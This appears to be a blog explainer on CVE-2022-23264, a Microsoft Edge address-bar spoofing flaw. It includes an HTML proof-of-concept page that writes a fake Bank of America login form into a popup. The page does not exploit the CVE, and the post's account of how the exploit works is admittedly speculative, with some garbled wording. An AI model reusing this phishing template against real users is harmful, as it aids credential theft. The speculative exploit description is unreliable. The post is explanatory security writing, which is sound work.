In February 2022, Microsoft disclosed CVE-2022-23264—a spoofing vulnerability found in Microsoft Edge’s Chromium foundation. Let’s break down what happened, how it works, why it matters, and go over a code-based demonstration.

What is CVE-2022-23264?

This vulnerability is specifically a *spoofing* issue. In plain English, a spoofing bug means an attacker tricks the browser into showing fake information—like a website or security prompt—so the user believes it’s coming from somewhere legitimate, when it’s not. While not as severe as remote code execution, spoofing can be dangerous in phishing and scamming users.

For CVE-2022-23264, Microsoft simply stated

> *A spoofing vulnerability exists when Microsoft Edge (Chromium-based) improperly validates input. An attacker who successfully exploited this vulnerability could trick a user into believing that they are interacting with a trusted website.*

No technical write-up was given at the time, but let’s dig a bit deeper.

How Did This Affect Users?

For example, you might visit a trustworthy website, but because of the bug, the address bar—or some other UI element—could be manipulated by an attacker. This could let criminals make malicious websites look authentic, a common trick in phishing campaigns.

Affected versions include Microsoft Edge (Chromium-based) prior to February 2022 updates.

The Exploit: Step-by-Step

Although Microsoft hasn’t published the raw details, Chromium-based spoofing bugs often have this pattern:

User sees something “legit”, but it’s really attacker-controlled.

One infamous tactic is using javascript’s window.open and then manipulating the window’s location or contents.

Minimal Proof-of-Concept (PoC) Code

Here’s a simple code snippet showing typical Browser UI spoofing (not day, but illustrates the technique):

<!-- Attacker's page: attacker.com/spoof.html -->
<html>
  <body>
    <button onclick="spoofWindow()">Click here for your bank</button>

    <script>
      function spoofWindow() {
        let w = window.open('about:blank', '_blank'); // Open popup

        // Immediately write fake UI
        w.document.write(`
          <h1>Welcome to Bank of America!</h1>
          <form>
            Username: <input name="user">

            Password: <input name="pass" type="password">

            <input type="submit" value="Login">
          </form>
        `);

        // Set a fake URL in the popup window (in some browsers, old bugs show spoofed URLs)
        // In CVE-2022-23264, similar techniques supposedly allowed spoofing the address bar
      }
    </script>
  </body>
</html>

*Note: This PoC is simplified, but in Chromium-based browsers, certain races or interruption patterns could cause the popup to briefly flash a trusted URL, even though it ends on an attacker's content. Real exploits require manipulating browser rendering timing, often through postMessage or history API.*

- Microsoft Advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-23264
- NVD Database: https://nvd.nist.gov/vuln/detail/CVE-2022-23264
- Chromium Security: https://chromereleases.googleblog.com/
- Brief overview (third party): https://vulmon.com/vulnerabilitydetails?qid=CVE-2022-23264

Is This Still a Danger?

If your Microsoft Edge is up-to-date (post February 2022), you are protected. Microsoft patched the bug quickly. However, unpatched browsers (or enterprise systems with slow update cycles) remain in peril.

Remember: Spoofing vulnerabilities are favored by phishers, as they don’t trip antivirus or sandbox protections—they simply trick the person into surrendering details.

In Conclusion

CVE-2022-23264 is a textbook example of why UI bugs matter—not just code execution. Even a bug that “just” spoofs can lead to identity theft or financial fraud. Patch early, patch often, and encourage your users to stay vigilant.

If you want to test these attacks *safely*, do so in a controlled lab environment. Always stay up-to-date by following sources like the official Microsoft Security Response Center.

Timeline

Published on: 06/29/2023 05:15:00 UTC
Last modified on: 07/06/2023 18:35:00 UTC